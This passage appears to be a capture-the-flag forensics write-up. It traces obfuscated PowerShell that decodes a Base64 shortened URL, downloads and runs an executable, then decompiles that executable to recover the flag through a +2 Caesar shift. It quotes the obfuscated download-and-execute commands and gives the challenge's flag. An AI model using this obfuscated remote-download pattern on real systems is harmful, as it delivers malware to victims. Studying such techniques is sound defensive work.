<pre><code>Invoke-WebRequest -Uri ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("aHR0cHM6Ly9zaG9ydHVybC5hdC9pbnl1ag=="))) -OutFile "caca.exe" </code></pre> <p>Decoding <code>aHR0cHM6Ly9zaG9ydHVybC5hdC9pbnl1ag==</code> resulted in the URL <code>https://shorturl.at/inyuj</code>, which, when accessed, downloaded the file caca.exe.</p> <p>Additional logs indicated a series of PowerShell commands to manipulate the previously decoded string:</p> <pre><code>$w9r4pBoZlnfIzH1keCtX = $FBtFFDr8NXp5.ToCharArray() ; [array]::Reverse($w9r4pBoZlnfIzH1keCtX) ; -join $w9r4pBoZlnfIzH1keCtX 2&gt;&amp;1&gt; $null ; </code></pre> <p>The reversed string $w9r4pBoZlnfIzH1keCtX was converted from Base64, and the script execution command was obfuscated:</p> <pre><code>$SCr = [SyStem.TexT.encODINg]::uTF8.GeTsTrInG([SYSteM.coNVErT]::froMBaSe64STrinG("$w9r4pBoZlnfIzH1keCtX")) ; </code></pre> <p>Finally, the command executed caca.exe with the parameter <code>"VHEEVH}x3uwcnad6u3eac3pvaj6tf"</code>.</p> <p>Using dotPeek, the caca.exe file was decompiled, revealing the following C# code:</p> <pre><code>public static void td4306d885b1c98544112b830f9bd97c6() { string str1 = ""; string str2 = "TFCCTF{fake_flag_haha}"; int num = Strings.Len(str2); int Start = 1; while (Start &lt;= num) { str1 += Conversions.ToString(Strings.Chr(checked (Strings.Asc(Strings.Mid(str2, Start, 1)) + 2))); checked { ++Start; } } } </code></pre> <p>The function <code>td4306d885b1c98544112b830f9bd97c6</code> indicated that the encrypted flag was obfuscated with a Caesar cipher (shift of +2).</p> <blockquote> <p>The provided parameter <code>"VHEEVH}x3uwcnad6u3eac3pvaj6tf"</code> was decrypted by shifting each character's ASCII value by -2: using <a href="https://www.dcode.fr/caesar-cipher">dcode</a> with <code>Shift/Key=2</code> and <code>Use a custom alphabet (A-Z0-9 chars only) checked</code></p> </blockquote> <p>This resulted in the actual flag: <code>TFCCTF{v1sual_b4s1c_a1nt_h4rd}</code></p>